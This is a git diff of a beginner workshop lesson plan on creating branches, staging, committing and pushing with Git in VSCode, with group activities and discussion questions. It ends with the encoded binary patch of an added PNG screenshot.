the right place. + + +### Group discussion/demo 🧵 🗣️ + +- Group discussion/demo +- ⏲️ 5 mins +- A volunteer will need to facilitate this section + +A volunteer will need to navigate and let the group guide them in following through the steps in the previous recap activity. + + +## 🌳 Creating a branch + +### 🕹️ Recap activity + +- Trainees do this section in pairs +- ⏲️ 10 mins + +Next, create a local branch called `week-1-workshop` + +### Group discussion/demo 🧵 🗣️ + + +- Group discussion/demo +- ⏲️ 10 mins +- A volunteer will need to facilitate this section + + +## Take a break for 10 mins... 🍫 + + +## Part 2 - New skills 🧰 - Committing and pushing 📸 + + +### Learning objectives + + +- [ ] Save local changes to a repository in VSCode +- [ ] Stage local changes +- [ ] Commit changes to a local branch +- [ ] Define "pushing" +- [ ] Push local changes onto a remote repository + + +### 🕹️ Activity - Figure it out 🔍 + + +> 🎯 Goal: Make some **local** changes and create a **local commit** on our branch. + +- Do this section in pairs +- ⏲️ 15 mins + +Follow these instructions carefully. + +Our Git timeline starts with some commits like this: + +![main-and-feature-in-sync](https://github.com/CodeYourFuture/CYF-Workshops/blob/main/git-day-1/main-and-feature-in-sync.png) + +We're going to figure out how to + +- make local changes and commit them to our branch "week-1-workshop", + +so our history looks something like this: + +![feature-branch-ahead](https://github.com/CodeYourFuture/CYF-Workshops/blob/main/git-day-1/feature-branch-ahead.png) + +where the most recent commits contain our changes. + +To create a commit, we can use the following steps (explained more below): + +1. Make a change to a file +2. View the local changes +2. Stage the changes +3. Creating the commit + + +### 🗄️ 1. Make a change to a file + +1. Open up your local repo `cyf-demo-repo` in VSCode. +2. Go to the Explorer section of VSCode ( look for a 🔍 icon ). +3. Find `file.txt` and edit the file with the answer to the questions. +4. Remember to save the changes to `file.txt`. + +Tip: +- You can use Cmd + S on a Mac to save changes to a file in VSCode. +- You can use Ctrl + S on a Linux OS to save changes to a file in VSCode. + + +### 🔬 2. View the local changes + + +We want to view the changes we've just made to our working directory. + +1. Locate the **Source Control** tab in VSCode. +![source-control-tab](https://github.com/CodeYourFuture/CYF-Workshops/blob/main/git-day-1/vscode-sidebar-source-control.png) +2. Go to the Changes section and click on the file you changed - this should now show the changes for the file. +3. Try editing the file again in the Explorer tab and check to see the update is visible in the Source Control panel + + +### 🟢 3. Stage the changes + +We need to tell Git which changes we want to be part of our next commit. + + +Each commit is a checkpoint we've decided to save. When making a commit, we can decide to _not_ include all of our changes in the checkpoint, but just include some of them. + +We choose which changes we want to include in a commit by **staging our changes**. + + +In the Source Control tab again... + +1. Go to the file `file.txt` and click on the **+**. + +👓 Notice what happens when you carry out step 1. + +2. View the **Staged Changes** area in your **Source Control** panel. + +### 📸 4. Create the commit + +Once we've staged our changes, then we can **commit** these changes. + +Before we do, we should make sure we're on the correct branch. Check that you're on the `week-1-workshop` branch. + + +Your VSCode window should look like this: +![check-current-branch-week-1-workshop](https://github.com/CodeYourFuture/CYF-Workshops/blob/main/git-day-1/check-current-branch-week-1-workshop.png) + +and not like this: + +![check-current-branch-is-main](https://github.com/CodeYourFuture/CYF-Workshops/blob/main/git-day-1/check-current-branch-is-main.png) + +If you're sure you're on the right branch: + +1. Enter a commit message describing briefly what you did in your commit. +2. Click Commit to create the Git commit. + +📝 Now figure out how many commits you have on your local machine. + +🧠 Explain what you think would have happened if you didn't stage anything in your working directory when you made your commit. + + +### When you're finished... + +❗ Once you've completed this **commit**, swap roles in your pair. +Choose another file and then go through the steps in the [Creating a commit section](#-4-creating-a-commit) + + +### Group discussion/demo 🧵 🗣️ + +- Group discussion/demo +- ⏲️ 10 mins +- A volunteer will need to facilitate this section + +A volunteer will now need to navigate with directions from the group. Go through the git commit steps together. +Also use this time for clarifying questions. + +## 🫸 Pushing + +> 🎯 Goal: Push a branch to a remote repository + +### 🕹️ Activity - Figure it out 🔍 + +- Trainees work in pairs +- ⏲️ 5 mins + +After committing your work on your machine, you'll have a local branch that looks like this + +```mermaid +--- +title: cyf-demo-repo +--- +gitGraph + commit + commit + branch "week-1-workshop" + commit + commit +``` + + +📋 Double-check you've been committing to your branch `week-1-workshop` branch and not your `main` branch. + + +However, our remote fork only has a main branch: + +```mermaid +--- +title: cyf-demo-repo +--- +gitGraph + commit + commit +``` + +In other words, we have _not_ added our local branch onto the remote fork on GitHub. + +To do this, we must **push** our branch onto GitHub. + + +**push** means adding local work to a remote GitHub repository. + + +🔍 Figure out how to **push** your local branch to the GitHub repository using the Source Control interface in VSCode. +🔍 Figure out how to check the `week-1-workshop` branch is on the remote fork. + + +### Group discussion + +- Group discussion/demo +- ⏲️ 5 mins +- A volunteer will need to facilitate this section + +A volunteer will need to navigate and let the group guide them in following through the steps in the previous recap activity. + + +## 🧵 Tying things up + +Now is some time to wrap up and discuss some of the key concepts from this week. + +### 🗣️ Discussion in pairs + +- Trainees discuss in pairs +- ⏲️ 10 mins + +In your pair, discuss the following questions/tasks: + +1. What is a commit? Explain why we need to make commits when we're developing a project. +1. Explain why we store repositories on GitHub. +1. Describe the purpose of VSCode. +1. Explain the difference between Git and GitHub. +1. Explain why developers use branches. +1. Explain the difference between a fork and a clone. +1. What does the branch name `origin/main` mean instead of just `main` ? +1. Check out the following git repository diagram below: + +How many commits are in common between `week-1-feature` and `main`? + +```mermaid +--- +title: cyf-demo-repo +--- +gitGraph + commit + commit + commit + branch "week-1-feature" + commit + commit +``` + +### 🗣️ Group discussion + +- Discuss the questions together as a group. Go round and get feedback from each person in the group. + + + + diff --git a/git-day-1/check-current-branch-is-main.png b/git-day-1/check-current-branch-is-main.png new file mode 100644 index 0000000000000000000000000000000000000000..3d591d6cca0a29210945b3cae26838cfefc22339 GIT binary patch literal 135327 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 